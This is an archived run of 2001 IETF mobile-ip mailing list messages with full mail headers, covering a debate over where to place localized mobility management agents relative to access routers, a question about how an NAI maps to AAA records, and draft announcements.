Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA04878
	for <mobileip-archive@lists.ietf.org>; Wed, 28 Nov 2001 07:58:12 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA06004;
	Wed, 28 Nov 2001 04:57:05 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA14937;
	Wed, 28 Nov 2001 04:56:52 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASCuB1V011832
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 04:56:11 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASCuBba011831
	for mobile-ip-dist; Wed, 28 Nov 2001 04:56:11 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASCu81V011824
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 04:56:08 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA21951
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 04:56:09 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id FAA25191
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 05:56:08 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.23840-0@bells.cs.ucl.ac.uk>; Wed, 28 Nov 2001 12:56:06 +0000
Message-ID: <3C04DEE6.5831C3D0@cs.ucl.ac.uk>
Date: Wed, 28 Nov 2001 12:56:06 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: [Fwd: [mobile-ip] LMM for IPv6 requirements-Movement detection]
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hesham/All,

Excuse the mess of the previous schematic. Ascii art and text don't mix
in resizable editing spaces.
So there it is again:


             CN
              |
              |
              AR
               |
               .
               .
               .
             Internet
               .
               .      1
               |      ->
    (domain)   ARb --------           
       |       |    <-    | | 2               
       |       |     3   ^| v            
       |       .          |             
       v       .         LMM                
               .
               |
               AR
               |
               |
               MN
 

Decoupling of AR and LMM such that LMM is behind that AR (since not
co-located)
Routing suboptimality goes for steps 1,2 and 3 as packets have to go
through that path since they are forwarded by the LMM to the MN !

Cheers

Theo
UCL/Mobile Systems Group

Theo Pagtzis wrote:
> 
> Hi Hesham,
> 
> Perhaps I did not explain clearly.
> 
> In your schematic you assume that the LMM is in fact an AR! This is fine
> but not what Mike had in mind. Mike talked about _not_ co-locating the
> LMM with an AR. However, an LMM has to be behind a link if not an AR
> itself. Thus, the LMM in such case MUST be behind some AR. The schematic
> becomes:
> 
>             CN
>              |
>              |
>              AR
>               |
>               .
>               .
>               .
>             Internet
>               .
>               .      1
>               |      ->
>    (domain)   ARb --------           <-------- decoupling of AR and LMM
> such that LMM is behind
>       |       |    <-    | | 2                 that AR (since not
> co-located)
>       |       |     3   ^| v                   Routing suboptimality
> goes for steps 1,2 and 3
>       |       .          |                     as packets have to go
> through that path
>       v       .         LMM                    since they are forwarded
> by the LMM to the MN !
>               .
>               |
>               AR
>               |
>               |
>               MN
> 
> Now take ARb and augment it to be ARb/LMM in one single box. At the same
> time get rid of the individual LMM box; thus you get rid of 1,2,3.
> Wouldn't that reason for colocation offering optimality in the routing
> of packets sent by the LMM to the MN?
> 
> Theo
> UCL/Mobile Systems Group
> 
> "Hesham Soliman (ERA)" wrote:
> >
> >   >
> >   > I believe that if you place the LMM agent anywhere else
> >   > than the AR you
> >   > will eventually have suboptimal routing since it will need to go to
> >   >
> >   >   that AR ------> LMM -----> that AR ------> MN
> >   >
> >
> > => I don't really get that logic, it greatly depends on
> > where the CN is and the network topology.
> >
> > E.g :
> >
> >                     CN
> >                      |
> >                      |
> >                     AR
> >                      |
> >                     some routers
> >
> >                      |
> >                      |
> >                      LMM
> >                       |
> >                       |
> >                      AR
> >                       |
> >                      MN
> >
> > Where is the suboptimality here ? The packets
> > will traverse the LMM router anyway to get
> > to the AR.
> >
> > You can play around with the topology to get
> > one that will add one hop or maybe two, to the
> > "optimal route" but I don't think that is a major
> > concern. You can also add 10 hops to the optimal
> > route but that would be strange network design
> > for someone trying to use an LMM agent.
> >
> > Similarily I can make the LMM in the AR look like
> > a very suboptimal solution if the two ARs
> > (between which the MN is moving) are not physically
> > connected and are topologically 'far'.
> >
> > So it's not as simple as saying that the LMM
> > in the AR is more optimal. Operators will have
> > to be careful how they place these agents. This
> > will largely depend on their type of access network,
> > mobility patterns ...etc.
> >
> > Hesham


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 08:24:05 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA05972
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 08:24:04 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA28338;
	Wed, 28 Nov 2001 06:22:23 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA17971;
	Wed, 28 Nov 2001 05:22:29 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASDLZ1V012033
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 05:21:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASDLZjH012032
	for mobile-ip-dist; Wed, 28 Nov 2001 05:21:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASDLV1V012025
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 05:21:32 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA24716
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 05:21:33 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with SMTP id GAA01322
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 06:21:32 -0700 (MST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.25996-0@bells.cs.ucl.ac.uk>; Wed, 28 Nov 2001 13:21:26 +0000
Message-ID: <3C04E4D5.74FF28C6@cs.ucl.ac.uk>
Date: Wed, 28 Nov 2001 13:21:25 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] fast handoffs v3 draft
References: <3C04DEE6.5831C3D0@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi all,

Having seen the latest version of the fast handoffs draft, I see that
the protocol leans now towards predictive handoffs that was not the case
for the previous 2 versions)  which I am already addressing in my
proactive mobility proposal:

http://search.ietf.org/internet-drafts/draft-pagtzis-seamoby-proactivev6-00.txt
with schematics that 

can be found in 

http://www.cs.ucl.ac.uk/staff/t.pagtzis/papers/draft-pagtzis-mobileip-proactivev6-00.ps
or
http://www.cs.ucl.ac.uk/staff/t.pagtzis/papers/techRep20010103.ps.gz

I believe I could contribute to the fast handoffs draft by augmenting it
with existing text from my proposal with respect addressing state
preconfiguration as well as other issues that I would be addressing
otherwise in my updated version. Would such contribution be encouraged
by the authors of the fast handoff draft?


Theo
UCL/Mobile Systems

PS. BTW the argument that my proposal was very long is not really an
excuse for not returning comments since as I can see other proposals
much longer and complicated. Additionaly, I can 'see' that people have
read the proposal. That means that any comments would be welcomed.


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 10:38:40 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA14767
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 10:38:40 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA14224;
	Wed, 28 Nov 2001 07:36:53 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA12631;
	Wed, 28 Nov 2001 06:17:14 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASEF71V012307
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 06:15:07 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASEF77L012306
	for mobile-ip-dist; Wed, 28 Nov 2001 06:15:07 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASEF31V012299
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 06:15:03 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA22868
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 06:15:05 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA12013
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 07:15:23 -0700 (MST)
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fASEEwu24343
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 15:14:58 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Wed Nov 28 15:14:57 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2MFLT9>; Wed, 28 Nov 2001 15:06:44 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0C9@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] LMM for IPv6 requirements-Movement detection
Date: Wed, 28 Nov 2001 15:14:37 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Theo, 

  > Perhaps I did not explain clearly. 
  > 
  > In your schematic you assume that the LMM is in fact an AR! 
  > This is fine
  > but not what Mike had in mind. Mike talked about _not_ 
  > co-locating the

=> I didn't think it looked like an AR at all. Here it 
is again with more explanation:


                    CN
                     |
                     |     Domain A
                    AR
                     |
                    some routers (Backbone)

                     |
                     |      Domain B
                     LMM 
                      |  ----------+
                      |            |
                     AR1           |
                      |            AR2
                     MN


As you can see the LMM is clearly separated from the 2
ARs. It is also 'on the way' to either AR. So any
packet addressed to the MN would traverse it 
anyway. _In_this_topology_ .

If I was building a network I would want to make sure
that the LMM agent is on the 'aggregate router' level
rather than the AR. 

  > LMM with an AR. However, an LMM has to be behind a link if not an AR
  > itself. Thus, the LMM in such case MUST be behind some AR. 
  > The schematic
  > becomes:
  > 
  > 
  > 
  >             CN
  >              |
  >              |
  >              AR
  >               |
  >               .
  >               .
  >               .
  >             Internet
  >               .
  >               .      1
  >               |      ->
  >    (domain)   ARb --------           <-------- decoupling 
  > of AR and LMM
  > such that LMM is behind
  >       |       |    <-    | | 2                 that AR (since not
  > co-located)            
  >       |       |     3   ^| v                   Routing suboptimality
  > goes for steps 1,2 and 3
  >       |       .          |                     as packets have to go
  > through that path
  >       v       .         LMM                    since they 
  > are forwarded
  > by the LMM to the MN !
  >               .
  >               |
  >               AR
  >               |
  >               |   
  >               MN 
  > 
  > 
  > Now take ARb and augment it to be ARb/LMM in one single 
  > box. At the same
  > time get rid of the individual LMM box; thus you get rid of 1,2,3.
  > Wouldn't that reason for colocation offering optimality in 
  > the routing
  > of packets sent by the LMM to the MN?

=> You've assumed a certain architecture and based on
that assumption you're showing that placing the LMM
agent outside the AR does not work ! You're assuming 
that traffic will arive at ARb first. 
So the point is, suboptimality will depend on:

- Where the CN is ? inside the same domain or a different one ?
- Network topology
- Placement of the LMM in the network. 

None of the above implies that one way is ALWAYS better. 
I can show you several pictures with two ARs that
are topologically 'far' as I said in the previous mail. 

Hesham



  > 
  > 
  > Theo 
  > UCL/Mobile Systems Group
  > 
  > 
  > "Hesham Soliman (ERA)" wrote:
  > > 
  > >   >
  > >   > I believe that if you place the LMM agent anywhere else
  > >   > than the AR you
  > >   > will eventually have suboptimal routing since it will 
  > need to go to
  > >   >
  > >   >   that AR ------> LMM -----> that AR ------> MN
  > >   >
  > > 
  > > => I don't really get that logic, it greatly depends on
  > > where the CN is and the network topology.
  > > 
  > > E.g :
  > > 
  > >                     CN
  > >                      |
  > >                      |
  > >                     AR
  > >                      |
  > >                     some routers
  > > 
  > >                      |
  > >                      |
  > >                      LMM
  > >                       |
  > >                       |
  > >                      AR
  > >                       |
  > >                      MN
  > > 
  > > Where is the suboptimality here ? The packets
  > > will traverse the LMM router anyway to get
  > > to the AR.
  > > 
  > > You can play around with the topology to get
  > > one that will add one hop or maybe two, to the
  > > "optimal route" but I don't think that is a major
  > > concern. You can also add 10 hops to the optimal
  > > route but that would be strange network design
  > > for someone trying to use an LMM agent.
  > > 
  > > Similarily I can make the LMM in the AR look like
  > > a very suboptimal solution if the two ARs
  > > (between which the MN is moving) are not physically
  > > connected and are topologically 'far'.
  > > 
  > > So it's not as simple as saying that the LMM
  > > in the AR is more optimal. Operators will have
  > > to be careful how they place these agents. This
  > > will largely depend on their type of access network,
  > > mobility patterns ...etc.
  > > 
  > > Hesham
  > 


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 11:08:17 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16634
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 11:08:16 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA05214;
	Wed, 28 Nov 2001 09:06:59 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA10704;
	Wed, 28 Nov 2001 08:06:56 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASG5u1V012582
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:05:56 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASG5uj9012581
	for mobile-ip-dist; Wed, 28 Nov 2001 08:05:56 -0800 (PST)
Date: Wed, 28 Nov 2001 08:05:56 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASG5r1V012574
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:05:53 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA22391
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:05:54 -0800 (PST)
Received: from harumscarum.mr.itd.umich.edu (harumscarum.mr.itd.umich.edu [141.211.125.17])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA13745
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:05:53 -0800 (PST)
Received: from sgoswamipcl (dsl-65-184-63-5.telocity.com [65.184.63.5])
	by harumscarum.mr.itd.umich.edu (8.9.3/3.3s) with SMTP id LAA23051
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 11:05:52 -0500 (EST)
From: "Subrata Goswami" <sgoswami@umich.edu>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: [mobile-ip] Date: Wed, 28 Nov 2001 08:10:36 -0800
Message-ID: <NDBBJKCANKEKAMDAPIHPOEFKCCAA.sgoswami@umich.edu>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

a simple question. how would we associate a NAI with a AAA record ?
is there any connection between the link layer address (i.e. MAC)
to the NAI ? is that specification available in the RADIUS/DIAMETER RFC's ?




From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 11:27:29 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18402
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 11:27:28 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA10066;
	Wed, 28 Nov 2001 08:26:26 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA13648;
	Wed, 28 Nov 2001 08:25:10 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASGO61V012769
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:24:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASGO6Z1012768
	for mobile-ip-dist; Wed, 28 Nov 2001 08:24:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASGO31V012761
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:24:03 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA15699
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:24:04 -0800 (PST)
Received: from charizard.diameter.org (c900656-a.plstn1.sfba.home.com [24.20.167.220])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id IAA00771
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:24:03 -0800 (PST)
Received: (qmail 3502 invoked by uid 500); 28 Nov 2001 17:11:10 -0000
Date: Wed, 28 Nov 2001 09:11:10 -0800
From: Pat Calhoun <pcalhoun@diameter.org>
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] New version of IPv6 over Mobile IPv4 available
Message-ID: <20011128091110.C3297@charizard.diameter.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

All,

A new version of the above document can be found at http://www.diameter.org/draft-mccann-mobileip-ipv6mipv4-02.txt.

PatC


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 11:34:40 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19203
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 11:34:40 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA28857;
	Wed, 28 Nov 2001 09:33:24 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA16539;
	Wed, 28 Nov 2001 08:33:26 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASGWh1V012942
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:32:43 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fASGWhej012941
	for mobile-ip-dist; Wed, 28 Nov 2001 08:32:43 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASGWd1V012934
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:32:39 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA17835
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:32:41 -0800 (PST)
Received: from charizard.diameter.org (c900656-a.plstn1.sfba.home.com [24.20.167.220])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA15925
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 28 Nov 2001 09:32:40 -0700 (MST)
Received: (qmail 3536 invoked by uid 500); 28 Nov 2001 17:19:46 -0000
Date: Wed, 28 Nov 2001 09:19:46 -0800
From: Pat Calhoun <pcalhoun@diameter.org>
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Date: Wed, 28 Nov 2001 08:10:36 -0800
Message-ID: <20011128091946.F3297@charizard.diameter.org>
References: <NDBBJKCANKEKAMDAPIHPOEFKCCAA.sgoswami@umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <NDBBJKCANKEKAMDAPIHPOEFKCCAA.sgoswami@umich.edu>; from sgoswami@umich.edu on Wed, Nov 28, 2001 at 08:05:56AM -0800
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

The NAI is used to identify the user, and is the key field used by the AAA
in its database search. There is no MAC address lookup.

PatC
On Wed, Nov 28, 2001 at 08:05:56AM -0800, Subrata Goswami wrote:
> a simple question. how would we associate a NAI with a AAA record ?
> is there any connection between the link layer address (i.e. MAC)
> to the NAI ? is that specification available in the RADIUS/DIAMETER RFC's ?
> 
> 


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 28 11:53:01 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20769
	for <mobileip-archive@odin.ietf.org>; Wed, 28 Nov 2001 11:53:00 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA14254;
	Wed, 28 Nov 2001 09:51:45 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20914;
	Wed, 28 Nov 2001 08:51:48 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fASGon1V013085
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 28 Nov 2001 08:50:49 -0800 (PST)
Received: (from majordomo@localhost)
